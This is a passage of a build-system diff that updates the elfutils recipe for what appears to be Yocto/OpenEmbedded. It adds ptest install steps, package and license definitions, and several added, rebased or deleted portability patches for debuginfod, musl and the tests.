+PACKAGECONFIG[libdebuginfod] = "--enable-libdebuginfod,--disable-libdebuginfod,curl"
+PACKAGECONFIG[debuginfod] = "--enable-debuginfod,--disable-debuginfod,libarchive sqlite3 libmicrohttpd"
+
+RDEPENDS:${PN}-ptest += "libasm libelf bash make coreutils ${PN}-binutils iproute2-ss bsdtar gcc-symlinks binutils-symlinks libgcc-dev"
+
+EXTRA_OECONF:append:class-target = " --disable-tests-rpath"
+
+RDEPENDS:${PN}-ptest:append:libc-glibc = " glibc-utils glibc-dbg glibc-dev"
+INSANE_SKIP:${PN}-ptest = "debug-deps dev-deps"
+
+do_compile_ptest() {
+ cd ${B}/tests
+ oe_runmake buildtest-TESTS oecheck
+}
+
+do_install_ptest() {
+ if [ ${PTEST_ENABLED} = "1" ]; then
+ # copy the files which needed by the cases
+ TEST_FILES="strip strip.o addr2line elfcmp objdump readelf size.o nm.o nm elflint elfcompress elfclassify stack unstrip"
+ install -d -m 755 ${D}${PTEST_PATH}/src
+ install -d -m 755 ${D}${PTEST_PATH}/libelf
+ install -d -m 755 ${D}${PTEST_PATH}/libdw
+ install -d -m 755 ${D}${PTEST_PATH}/libdwfl
+ install -d -m 755 ${D}${PTEST_PATH}/libdwelf
+ install -d -m 755 ${D}${PTEST_PATH}/libasm
+ install -d -m 755 ${D}${PTEST_PATH}/libcpu
+ install -d -m 755 ${D}${PTEST_PATH}/libebl
+ for test_file in ${TEST_FILES}; do
+ if [ -f ${B}/src/${test_file} ]; then
+ cp -r ${B}/src/${test_file} ${D}${PTEST_PATH}/src
+ fi
+ done
+ cp ${D}${libdir}/libelf-${PV}.so ${D}${PTEST_PATH}/libelf/libelf.so
+ cp ${D}${libdir}/libdw-${PV}.so ${D}${PTEST_PATH}/libdw/libdw.so
+ cp ${D}${libdir}/libasm-${PV}.so ${D}${PTEST_PATH}/libasm/libasm.so
+ cp ${B}/libcpu/libcpu.a ${D}${PTEST_PATH}/libcpu/
+ cp ${B}/libebl/libebl.a ${D}${PTEST_PATH}/libebl/
+ cp ${S}/libelf/*.h ${D}${PTEST_PATH}/libelf/
+ cp ${S}/libdw/*.h ${D}${PTEST_PATH}/libdw/
+ cp ${S}/libdwfl/*.h ${D}${PTEST_PATH}/libdwfl/
+ cp ${S}/libdwelf/*.h ${D}${PTEST_PATH}/libdwelf/
+ cp ${S}/libasm/*.h ${D}${PTEST_PATH}/libasm/
+ cp -r ${S}/tests/ ${D}${PTEST_PATH}
+ cp -r ${B}/tests/* ${D}${PTEST_PATH}/tests
+ cp -r ${B}/config.h ${D}${PTEST_PATH}
+ cp -r ${B}/backends ${D}${PTEST_PATH}
+ cp -r ${B}/debuginfod ${D}${PTEST_PATH}
+ sed -i '/^Makefile:/c Makefile:' ${D}${PTEST_PATH}/tests/Makefile
+ find ${D}${PTEST_PATH} -type f -name *.[hoc] | xargs -i rm {}
+ fi
+}
+
+EXTRA_OEMAKE:class-native = ""
+EXTRA_OEMAKE:class-nativesdk = ""
+
+BBCLASSEXTEND = "native nativesdk"
+
+# Package utilities separately
+PACKAGES =+ "${PN}-binutils libelf libasm libdw libdebuginfod"
+
+# Shared libraries are licensed GPL-2.0-only or GPL-3.0-or-later, binaries
+# GPL-3.0-or-later. According to NEWS file:
+# "The license is now GPLv2/LGPLv3+ for the libraries and GPLv3+ for stand-alone
+# programs. There is now also a formal CONTRIBUTING document describing how to
+# submit patches."
+LICENSE:${PN}-binutils = "GPL-3.0-or-later"
+LICENSE:${PN} = "GPL-3.0-or-later"
+LICENSE:libelf = "GPL-2.0-only | LGPL-3.0-or-later"
+LICENSE:libasm = "GPL-2.0-only | LGPL-3.0-or-later"
+LICENSE:libdw = "GPL-2.0-only | LGPL-3.0-or-later"
+LICENSE:libdebuginfod = "GPL-2.0-or-later | LGPL-3.0-or-later"
+
+FILES:${PN}-binutils = "\
+ ${bindir}/eu-addr2line \
+ ${bindir}/eu-ld \
+ ${bindir}/eu-nm \
+ ${bindir}/eu-readelf \
+ ${bindir}/eu-size \
+ ${bindir}/eu-strip"
+
+FILES:libelf = "${libdir}/libelf-${PV}.so ${libdir}/libelf.so.*"
+FILES:libasm = "${libdir}/libasm-${PV}.so ${libdir}/libasm.so.*"
+FILES:libdw = "${libdir}/libdw-${PV}.so ${libdir}/libdw.so.* ${libdir}/elfutils/lib*"
+FILES:libdebuginfod = "${libdir}/libdebuginfod-${PV}.so ${libdir}/libdebuginfod.so.*"
+# Some packages have the version preceeding the .so instead properly
+# versioned .so.<version>, so we need to reorder and repackage.
+#FILES:${PN} += "${libdir}/*-${PV}.so ${base_libdir}/*-${PV}.so"
+#FILES_SOLIBSDEV = "${libdir}/libasm.so ${libdir}/libdw.so ${libdir}/libelf.so"
+
+# The package contains symlinks that trip up insane
+INSANE_SKIP:${MLPREFIX}libdw = "dev-so"
+# The nlist binary in the tests uses explicitly minimal compiler flags
+INSANE_SKIP:${PN}-ptest += "ldflags"
+
+# avoid stripping some generated binaries otherwise some of the tests such as test-nlist,
+# run-strip-reloc.sh, run-strip-strmerge.sh and so on will fail
+INHIBIT_PACKAGE_STRIP_FILES = "\
+ ${PKGD}${PTEST_PATH}/tests/test-nlist \
+ ${PKGD}${PTEST_PATH}/tests/elfstrmerge \
+ ${PKGD}${PTEST_PATH}/tests/backtrace-child \
+ ${PKGD}${PTEST_PATH}/tests/backtrace-data \
+ ${PKGD}${PTEST_PATH}/tests/backtrace-dwarf \
+ ${PKGD}${PTEST_PATH}/tests/deleted \
+ ${PKGD}${PTEST_PATH}/tests/dwfllines \
+ ${PKGD}${PTEST_PATH}/src/strip \
+ ${PKGD}${PTEST_PATH}/src/addr2line \
+ ${PKGD}${PTEST_PATH}/src/elfcmp \
+ ${PKGD}${PTEST_PATH}/src/objdump \
+ ${PKGD}${PTEST_PATH}/src/readelf \
+ ${PKGD}${PTEST_PATH}/src/nm \
+ ${PKGD}${PTEST_PATH}/src/elflint \
+ ${PKGD}${PTEST_PATH}/src/elfclassify \
+ ${PKGD}${PTEST_PATH}/src/stack \
+ ${PKGD}${PTEST_PATH}/src/unstrip \
+ ${PKGD}${PTEST_PATH}/libelf/libelf.so \
+ ${PKGD}${PTEST_PATH}/libdw/libdw.so \
+ ${PKGD}${PTEST_PATH}/libasm/libasm.so \
+ ${PKGD}${PTEST_PATH}/backends/libebl_i386.so \
+ ${PKGD}${PTEST_PATH}/backends/libebl_x86_64.so \
+"
+
+PRIVATE_LIBS:${PN}-ptest = "libdw.so.1 libelf.so.1 libasm.so.1 libdebuginfod.so.1"
diff --git a/meta/recipes-devtools/elfutils/files/0001-debuginfod-debuginfod-client.c-use-long-for-cache-ti.patch b/meta/recipes-devtools/elfutils/files/0001-debuginfod-debuginfod-client.c-use-long-for-cache-ti.patch
new file mode 100644
index 0000000000..089f1a2210
--- /dev/null
+++ b/meta/recipes-devtools/elfutils/files/0001-debuginfod-debuginfod-client.c-use-long-for-cache-ti.patch
@@ -0,0 +1,45 @@
+From a0852044907110479d0fb212dda2c5e45af2d3aa Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Thu, 9 Dec 2021 10:43:06 +0100
+Subject: [PATCH] debuginfod/debuginfod-client.c: use long for cache time
+ configurations
+
+time_t is platform dependent and some of architectures e.g.
+x32, riscv32, arc use 64bit time_t even while they are 32bit
+architectures, therefore directly using integer printf formats will not
+work portably.
+
+Use a plain long everywhere as the intervals are small enough
+that it will not be problematic.
+
+Upstream-Status: Submitted [via email to mark@klomp.org,elfutils-devel@sourceware.org]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ debuginfod/debuginfod-client.c | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/debuginfod/debuginfod-client.c b/debuginfod/debuginfod-client.c
+index c875ee6..11e0fd5 100644
+--- a/debuginfod/debuginfod-client.c
++++ b/debuginfod/debuginfod-client.c
+@@ -134,17 +134,17 @@ struct debuginfod_client
+ how frequently the cache should be cleaned. The file's st_mtime represents
+ the time of last cleaning. */
+ static const char *cache_clean_interval_filename = "cache_clean_interval_s";
+-static const time_t cache_clean_default_interval_s = 86400; /* 1 day */
++static const long cache_clean_default_interval_s = 86400; /* 1 day */
+
+ /* The cache_miss_default_s within the debuginfod cache specifies how
+ frequently the 000-permision file should be released.*/
+-static const time_t cache_miss_default_s = 600; /* 10 min */
++static const long cache_miss_default_s = 600; /* 10 min */
+ static const char *cache_miss_filename = "cache_miss_s";
+
+ /* The cache_max_unused_age_s file within the debuginfod cache specifies the
+ the maximum time since last access that a file will remain in the cache. */
+ static const char *cache_max_unused_age_filename = "max_unused_age_s";
+-static const time_t cache_default_max_unused_age_s = 604800; /* 1 week */
++static const long cache_default_max_unused_age_s = 604800; /* 1 week */
+
+ /* Location of the cache of files downloaded from debuginfods.
+ The default parent directory is $HOME, or '/' if $HOME doesn't exist. */
diff --git a/meta/recipes-devtools/elfutils/files/0001-debuginfod-fix-compilation-on-platforms-without-erro.patch b/meta/recipes-devtools/elfutils/files/0001-debuginfod-fix-compilation-on-platforms-without-erro.patch
new file mode 100644
index 0000000000..e80d96aaca
--- /dev/null
+++ b/meta/recipes-devtools/elfutils/files/0001-debuginfod-fix-compilation-on-platforms-without-erro.patch
@@ -0,0 +1,54 @@
+From 99617d7ab5b01c322b0f27d4aa0dd91c61793a5e Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?=C3=89rico=20Nogueira?= <erico.erc@gmail.com>
+Date: Wed, 10 Nov 2021 21:17:48 -0300
+Subject: [PATCH] debuginfod: fix compilation on platforms without <error.h>
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+"system.h" only declares the error() function, so it needs to be in an
+'extern "C"' block, otherwise linking fails.
+
+Since we are here, use quotes for "system.h" header, since it's a local
+header, not a system one.
+
+Upstream-Status: Backport [https://sourceware.org/git/?p=elfutils.git;a=commit;h=90b9e91b961b794a4e58ab76d9191a5e7343584e]
+Signed-off-by: Érico Nogueira <erico.erc@gmail.com>
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ debuginfod/ChangeLog | 4 ++++
+ debuginfod/debuginfod.cxx | 2 +-
+ 2 files changed, 5 insertions(+), 1 deletion(-)
+
+diff --git a/debuginfod/ChangeLog b/debuginfod/ChangeLog
+index f06d3ee..822bd63 100644
+--- a/debuginfod/ChangeLog
++++ b/debuginfod/ChangeLog
+@@ -1,3 +1,7 @@
++2021-11-10 Érico N. Rolim <erico.erc@gmail.com>
++
++ * debuginfod.cxx: include "system.h" under 'extern "C"' block.
++
+ 2021-11-05 Frank Ch. Eigler <fche@redhat.com>
+
+ PR28430
+diff --git a/debuginfod/debuginfod.cxx b/debuginfod/debuginfod.cxx
+index 521cb52..764e7b9 100644
+--- a/debuginfod/debuginfod.cxx
++++ b/debuginfod/debuginfod.cxx
+@@ -33,11 +33,11 @@
+
+ extern "C" {
+ #include "printversion.h"
++#include "system.h"
+ }
+
+ #include "debuginfod.h"
+ #include <dwarf.h>
+-#include <system.h>
+
+ #include <argp.h>
+ #ifdef __GNUC__
+--
+2.20.1
+
diff --git a/meta/recipes-devtools/elfutils/files/0001-dso-link-change.patch b/meta/recipes-devtools/elfutils/files/0001-dso-link-change.patch
index af79ef496d..6acc036406 100644
--- a/meta/recipes-devtools/elfutils/files/0001-dso-link-change.patch
+++ b/meta/recipes-devtools/elfutils/files/0001-dso-link-change.patch
@@ -1,4 +1,4 @@
-From b99aa12cf879ce200e03d75e543c7ab2dfa5503b Mon Sep 17 00:00:00 2001
+From c5fb59ac0819b5b6d8244c613cbcf92cb09840c1 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Tue, 15 Aug 2017 17:10:57 +0800
Subject: [PATCH] dso link change
@@ -23,10 +23,10 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/Makefile.am b/src/Makefile.am
-index 2b1c0dc..9305b84 100644
+index 88d0ac8..c28d81f 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
-@@ -44,7 +44,7 @@ libdw = ../libdw/libdw.a -lz $(zip_LIBS) $(libelf) $(libebl) -ldl
+@@ -45,7 +45,7 @@ libdw = ../libdw/libdw.a -lz $(zip_LIBS) $(libelf) -ldl -lpthread
libelf = ../libelf/libelf.a -lz
else
libasm = ../libasm/libasm.so
@@ -34,12 +34,12 @@ index 2b1c0dc..9305b84 100644
+libdw = ../libdw/libdw.so $(zip_LIBS) $(libelf) $(libebl) -ldl
libelf = ../libelf/libelf.so
endif
- libebl = ../libebl/libebl.a
+ libebl = ../libebl/libebl.a ../backends/libebl_backends.a ../libcpu/libcpu.a
diff --git a/tests/Makefile.am b/tests/Makefile.am
-index 1b0c7d3..bced19b 100644
+index c145720..72afd0e 100644
--- a/tests/Makefile.am
+++ b/tests/Makefile.am
-@@ -476,7 +476,7 @@ libdw = ../libdw/libdw.a -lz $(zip_LIBS) $(libelf) $(libebl) -ldl
+@@ -554,7 +554,7 @@ libdw = ../libdw/libdw.a -lz $(zip_LIBS) $(libelf) $(libebl) -ldl -lpthread
libelf = ../libelf/libelf.a -lz
libasm = ../libasm/libasm.a
else
diff --git a/meta/recipes-devtools/elfutils/files/0001-libasm-may-link-with-libbz2-if-found.patch b/meta/recipes-devtools/elfutils/files/0001-libasm-may-link-with-libbz2-if-found.patch
index 0d533c8f10..09c9d3ea24 100644
--- a/meta/recipes-devtools/elfutils/files/0001-libasm-may-link-with-libbz2-if-found.patch
+++ b/meta/recipes-devtools/elfutils/files/0001-libasm-may-link-with-libbz2-if-found.patch
@@ -1,4 +1,4 @@
-From d7be687c35fa42954874034c82ca9059d28196fe Mon Sep 17 00:00:00 2001
+From ed1975deeaa47f98d212fd144c8bda075b1a5d36 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Wed, 4 Oct 2017 22:30:46 -0700
Subject: [PATCH] libasm may link with libbz2 if found
@@ -17,16 +17,16 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/Makefile.am b/src/Makefile.am
-index 9305b84..9b7e853 100644
+index c28d81f..951e978 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
-@@ -39,11 +39,11 @@ EXTRA_DIST += make-debug-archive.in
+@@ -40,11 +40,11 @@ EXTRA_DIST += make-debug-archive.in
CLEANFILES += make-debug-archive
if BUILD_STATIC
-libasm = ../libasm/libasm.a
+libasm = ../libasm/libasm.a $(zip_LIBS)
- libdw = ../libdw/libdw.a -lz $(zip_LIBS) $(libelf) $(libebl) -ldl
+ libdw = ../libdw/libdw.a -lz $(zip_LIBS) $(libelf) -ldl -lpthread
libelf = ../libelf/libelf.a -lz
else
-libasm = ../libasm/libasm.so
diff --git a/meta/recipes-devtools/elfutils/files/0001-libelf-elf_end.c-check-data_list.data.d.d_buf-before.patch b/meta/recipes-devtools/elfutils/files/0001-libelf-elf_end.c-check-data_list.data.d.d_buf-before.patch
index b26ed99f65..c8d55d583a 100644
--- a/meta/recipes-devtools/elfutils/files/0001-libelf-elf_end.c-check-data_list.data.d.d_buf-before.patch
+++ b/meta/recipes-devtools/elfutils/files/0001-libelf-elf_end.c-check-data_list.data.d.d_buf-before.patch
@@ -1,4 +1,4 @@
-From e571cbd0c20085ec71969971f19280b5de95cfb7 Mon Sep 17 00:00:00 2001
+From f40cbd43acdb1fefef4fa53a6034296d83cbff7d Mon Sep 17 00:00:00 2001
From: Robert Yang <liezhi.yang@windriver.com>
Date: Thu, 16 Aug 2018 09:58:26 +0800
Subject: [PATCH] libelf/elf_end.c: check data_list.data.d.d_buf before free it
diff --git a/meta/recipes-devtools/elfutils/files/0001-ppc_initreg.c-Incliude-asm-ptrace.h-for-pt_regs-defi.patch b/meta/recipes-devtools/elfutils/files/0001-ppc_initreg.c-Incliude-asm-ptrace.h-for-pt_regs-defi.patch
deleted file mode 100644
index 3303333c45..0000000000
--- a/meta/recipes-devtools/elfutils/files/0001-ppc_initreg.c-Incliude-asm-ptrace.h-for-pt_regs-defi.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 2e2232d0935bf8ef6e66ebffba3be68a73b5b3e5 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 8 Sep 2019 15:57:59 -0700
-Subject: [PATCH] ppc_initreg.c: Incliude asm/ptrace.h for pt_regs definition
-
-Fixes
-| ../../elfutils-0.176/backends/ppc_initreg.c:79:22: error: field 'r' has incomplete type
-| struct pt_regs r;
-| ^
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- backends/ppc_initreg.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/backends/ppc_initreg.c b/backends/ppc_initreg.c
-index 0e0d359..e5cca7e 100644
---- a/backends/ppc_initreg.c
-+++ b/backends/ppc_initreg.c
-@@ -33,6 +33,7 @@
- #include <stdlib.h>
- #if defined(__powerpc__) && defined(__linux__)
- # include <sys/ptrace.h>
-+# include <asm/ptrace.h>
- # include <sys/user.h>
- #endif
-
---
-2.23.0
-
diff --git a/meta/recipes-devtools/elfutils/files/0001-skip-the-test-when-gcc-not-deployed.patch b/meta/recipes-devtools/elfutils/files/0001-skip-the-test-when-gcc-not-deployed.patch
index de8c05f11e..0e6bf5573c 100644
--- a/meta/recipes-devtools/elfutils/files/0001-skip-the-test-when-gcc-not-deployed.patch
+++ b/meta/recipes-devtools/elfutils/files/0001-skip-the-test-when-gcc-not-deployed.patch
@@ -1,14 +1,15 @@
-From e82a055f85e398cb03a4eaf5faf351a3a1f19344 Mon Sep 17 00:00:00 2001
+From 2fa52d61b1abdf4a3f3b153c771fb2081666430c Mon Sep 17 00:00:00 2001
From: Mingli Yu <Mingli.Yu@windriver.com>
Date: Tue, 21 May 2019 15:20:34 +0800
-Subject: [PATCH v2] skip the test when gcc not deployed
+Subject: [PATCH] skip the test when gcc not deployed
Skip the tests which depend on gcc when
gcc not deployed.
-Upstream-Status: Submitted[https://sourceware.org/ml/elfutils-devel/2019-q2/msg00091.html]
+Upstream-Status: Submitted [https://sourceware.org/ml/elfutils-devel/2019-q2/msg00091.html]
Signed-off-by: Mingli Yu <Mingli.Yu@windriver.com>
+
---
tests/run-disasm-x86-64.sh | 2 ++
tests/run-disasm-x86.sh | 2 ++
@@ -17,7 +18,7 @@ Signed-off-by: Mingli Yu <Mingli.Yu@windriver.com>
4 files changed, 8 insertions(+)
diff --git a/tests/run-disasm-x86-64.sh b/tests/run-disasm-x86-64.sh
-index a6be62b..c3ef238 100755
+index 07b612b..7a32996 100755
--- a/tests/run-disasm-x86-64.sh
+++ b/tests/run-disasm-x86-64.sh
@@ -22,6 +22,8 @@ case "`uname -m`" in
@@ -26,11 +27,11 @@ index a6be62b..c3ef238 100755
testfiles testfile45.S testfile45.expect
+ # skip the case if no gcc deployed
+ which gcc || exit 77
- gcc -m64 -c -o testfile45.o testfile45.S
+ ${CC} -m64 -c -o testfile45.o testfile45.S
testrun_compare ${abs_top_builddir}/src/objdump -d testfile45.o < testfile45.expect
;;
diff --git a/tests/run-disasm-x86.sh b/tests/run-disasm-x86.sh
-index 28a3df7..544fc28 100755
+index 7ac73ad..f0d4796 100755
--- a/tests/run-disasm-x86.sh
+++ b/tests/run-disasm-x86.sh
@@ -22,6 +22,8 @@ case "`uname -m`" in
@@ -39,11 +40,11 @@ index 28a3df7..544fc28 100755
testfiles testfile44.S testfile44.expect
+ # skip the case if no gcc deployed
+ which gcc || exit 77
- gcc -m32 -c -o testfile44.o testfile44.S
+ ${CC} -m32 -c -o testfile44.o testfile44.S
testrun_compare ${abs_top_builddir}/src/objdump -d testfile44.o < testfile44.expect
;;
diff --git a/tests/run-strip-g.sh b/tests/run-strip-g.sh
-index 1303819..a943dec 100755
+index 1592121..9b8157e 100755
--- a/tests/run-strip-g.sh
+++ b/tests/run-strip-g.sh
@@ -24,6 +24,8 @@
@@ -53,10 +54,10 @@ index 1303819..a943dec 100755
+# skip the test if gcc deployed
+which gcc || exit 77
echo Create debug a.out.
- echo "int main() { return 1; }" | gcc -g -xc -
+ echo "int main() { return 1; }" | ${CC} -g -xc -
diff --git a/tests/run-strip-nothing.sh b/tests/run-strip-nothing.sh
-index 914fdfb..d03f734 100755
+index 710c200..3a81d8e 100755
--- a/tests/run-strip-nothing.sh
+++ b/tests/run-strip-nothing.sh
@@ -22,6 +22,8 @@
@@ -66,8 +67,5 @@ index 914fdfb..d03f734 100755
+# skip the case if no gcc deployed
+which gcc || exit 77
# Create no-debug a.out.
- echo "int main() { return 1; }" | gcc -s -xc -
+ echo "int main() { return 1; }" | ${CC} -s -xc -
---
-2.7.4
-
diff --git a/meta/recipes-devtools/elfutils/files/0001-tests-Makefile.am-compile-test_nlist-with-standard-C.patch b/meta/recipes-devtools/elfutils/files/0001-tests-Makefile.am-compile-test_nlist-with-standard-C.patch
new file mode 100644
index 0000000000..c494d7f2e5
--- /dev/null
+++ b/meta/recipes-devtools/elfutils/files/0001-tests-Makefile.am-compile-test_nlist-with-standard-C.patch
@@ -0,0 +1,28 @@
+From 22e0e1c01ec680a2970f4d5ca9e47f90259cbdcf Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Tue, 23 Jun 2020 07:49:35 +0000
+Subject: [PATCH] tests/Makefile.am: compile test_nlist with standard CFLAGS
+
+Otherwise, it will contain build paths in it and wont
+be reproducible.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
+---
+ tests/Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/tests/Makefile.am b/tests/Makefile.am
+index a2dfd43..40a0228 100644
+--- a/tests/Makefile.am
++++ b/tests/Makefile.am
+@@ -90,7 +90,7 @@ endif
+ test-nlist$(EXEEXT): test-nlist.c
+ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) \
+ $(AM_CPPFLAGS) $(CPPFLAGS) \
+- $(test_nlist_CFLAGS) $(GCOV_FLAGS) -o $@ $< $(test_nlist_LDADD)
++ $(CFLAGS) $(GCOV_FLAGS) -o $@ $< $(test_nlist_LDADD)
+
+ TESTS = run-arextract.sh run-arsymtest.sh run-ar.sh newfile test-nlist \
+ update1 update2 update3 update4 \
diff --git a/meta/recipes-devtools/elfutils/files/0002-Fix-elf_cvt_gunhash-if-dest-and-src-are-same.patch b/meta/recipes-devtools/elfutils/files/0002-Fix-elf_cvt_gunhash-if-dest-and-src-are-same.patch
index 96c2565e3e..be48ef010b 100644
--- a/meta/recipes-devtools/elfutils/files/0002-Fix-elf_cvt_gunhash-if-dest-and-src-are-same.patch
+++ b/meta/recipes-devtools/elfutils/files/0002-Fix-elf_cvt_gunhash-if-dest-and-src-are-same.patch
@@ -1,4 +1,4 @@
-From f8e4118b60a9b54950437006a82b4047f38f5347 Mon Sep 17 00:00:00 2001
+From 1643d793761216252bb654e28aaa5b8eb1536bca Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Tue, 15 Aug 2017 17:13:59 +0800
Subject: [PATCH] Fix elf_cvt_gunhash if dest and src are same.
diff --git a/meta/recipes-devtools/elfutils/files/0003-fixheadercheck.patch b/meta/recipes-devtools/elfutils/files/0003-fixheadercheck.patch
index e36d3f44dd..212b358dc2 100644
--- a/meta/recipes-devtools/elfutils/files/0003-fixheadercheck.patch
+++ b/meta/recipes-devtools/elfutils/files/0003-fixheadercheck.patch
@@ -1,4 +1,4 @@
-From dd7c8c730457def5f62ebd43022b2f06df8c6ed9 Mon Sep 17 00:00:00 2001
+From 7e1f91c42ef5b0bf10afefec10dd08588df3ab1f Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Tue, 15 Aug 2017 17:17:20 +0800
Subject: [PATCH] fixheadercheck
@@ -22,10 +22,10 @@ Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/libelf/elf32_updatenull.c b/libelf/elf32_updatenull.c
-index 3e9ef61..5351518 100644
+index d0d4d1e..4ecf5a5 100644
--- a/libelf/elf32_updatenull.c
+++ b/libelf/elf32_updatenull.c
-@@ -339,8 +339,8 @@ __elfw2(LIBELFBITS,updatenull_wrlock) (Elf *elf, int *change_bop, size_t shnum)
+@@ -354,8 +354,8 @@ __elfw2(LIBELFBITS,updatenull_wrlock) (Elf *elf, int *change_bop, size_t shnum)
we test for the alignment of the section being large
enough for the largest alignment required by a data
block. */
diff --git a/meta/recipes-devtools/elfutils/files/0003-musl-utils.patch b/meta/recipes-devtools/elfutils/files/0003-musl-utils.patch
new file mode 100644
index 0000000000..cbc9fce790
--- /dev/null
+++ b/meta/recipes-devtools/elfutils/files/0003-musl-utils.patch
@@ -0,0 +1,96 @@
+From 8b48c580bae0b0ffc773b0b829c50d33a907853c Mon Sep 17 00:00:00 2001
+From: Hongxu Jia <hongxu.jia@windriver.com>
+Date: Fri, 23 Aug 2019 10:19:48 +0800
+Subject: [PATCH] musl-utils
+
+Provide missing defines which otherwise are available on glibc system headers
+
+Alter the error API to match posix version
+use qsort instead of qsort_r which is glibc specific API
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Upstream-Status: Inappropriate [workaround for musl]
+
+Rebase to 0.177
+Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
+---
+ src/arlib.h | 6 ++++++
+ src/elfcompress.c | 7 +++++++
+ src/strip.c | 7 +++++++
+ src/unstrip.c | 9 +++++++++
+ 4 files changed, 29 insertions(+)
+
+diff --git a/src/arlib.h b/src/arlib.h
+index e117166..8326f6c 100644
+--- a/src/arlib.h
++++ b/src/arlib.h
+@@ -29,6 +29,12 @@
+ #include <stdint.h>
+ #include <sys/types.h>
+
++#if !defined(ALLPERMS)
++# define ALLPERMS (S_ISUID|S_ISGID|S_ISVTX|S_IRWXU|S_IRWXG|S_IRWXO) /* 07777 */
++#endif
++#if !defined(DEFFILEMODE)
++# define DEFFILEMODE (S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP|S_IROTH|S_IWOTH)/* 0666*/
++#endif
+
+ /* State of -D/-U flags. */
+ extern bool arlib_deterministic_output;
+diff --git a/src/elfcompress.c b/src/elfcompress.c
+index 2c6d91b..608646e 100644
+--- a/src/elfcompress.c
++++ b/src/elfcompress.c
+@@ -37,6 +37,13 @@
+ #include "libeu.h"
+ #include "printversion.h"
+
++#if !defined(ALLPERMS)
++# define ALLPERMS (S_ISUID|S_ISGID|S_ISVTX|S_IRWXU|S_IRWXG|S_IRWXO) /* 07777 */
++#endif
++#if !defined(FNM_EXTMATCH)
++# define FNM_EXTMATCH (0)
++#endif
++
+ /* Name and version of program. */
+ ARGP_PROGRAM_VERSION_HOOK_DEF = print_version;
+
+diff --git a/src/strip.c b/src/strip.c
+index d5b753d..d6e1b64 100644
+--- a/src/strip.c
++++ b/src/strip.c
+@@ -46,6 +46,13 @@
+ #include <system.h>
+ #include <printversion.h>
+
++#if !defined(ACCESSPERMS)
++# define ACCESSPERMS (S_IRWXU|S_IRWXG|S_IRWXO) /* 0777 */
++#endif
++#if !defined(FNM_EXTMATCH)
++# define FNM_EXTMATCH (0)
++#endif
++
+ typedef uint8_t GElf_Byte;
+
+ /* Name and version of program. */
+diff --git a/src/unstrip.c b/src/unstrip.c
+index aacc9aa..5e71290 100644
+--- a/src/unstrip.c
++++ b/src/unstrip.c
+@@ -52,6 +52,15 @@
+ #include "libeu.h"
+ #include "printversion.h"
+
++#ifndef strndupa
++#define strndupa(s, n) \
++ ({const char *__in = (s); \
++ size_t __len = strnlen (__in, (n)) + 1; \
++ char *__out = (char *) alloca (__len); \
++ __out[__len-1] = '\0'; \
++ (char *) memcpy (__out, __in, __len-1);})
++#endif
++
+ /* Name and version of program. */
+ ARGP_PROGRAM_VERSION_HOOK_DEF = print_version;
+
diff --git a/meta/recipes-devtools/elfutils/files/0004-Disable-the-test-to-convert-euc-jp.patch b/meta/recipes-devtools/elfutils/files/0004-Disable-the-test-to-convert-euc-jp.patch
deleted file mode 100644
index 5dee61210a..0000000000
--- a/meta/recipes-devtools/elfutils/files/0004-Disable-the-test-to-convert-euc-jp.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From e4ede22e28eaa38d81667ddcb19541ece1a83cf8 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Tue, 15 Aug 2017 17:24:06 +0800
-Subject: [PATCH] Disable the test to convert euc-jp
-
-Remove the test "Test against HP-UX 11.11 bug:
-No converter from EUC-JP to UTF-8 is provided"
-since we don't support HP-UX and if the euc-jp is not
-installed on the host, the dependence will be built without
-iconv support and will cause guild-native building fail.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Roy Li <rongqing.li@windriver.com>
-
-Rebase to 0.170
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
----
- m4/iconv.m4 | 2 ++
- 1 file changed, 2 insertions(+)
-
-diff --git a/m4/iconv.m4 b/m4/iconv.m4
-index a503646..299f1eb 100644
---- a/m4/iconv.m4
-+++ b/m4/iconv.m4
-@@ -159,6 +159,7 @@ int main ()
- }
- }
- #endif
-+#if 0
- /* Test against HP-UX 11.11 bug: No converter from EUC-JP to UTF-8 is
- provided. */
- if (/* Try standardized names. */
-@@ -170,6 +171,7 @@ int main ()
- /* Try HP-UX names. */
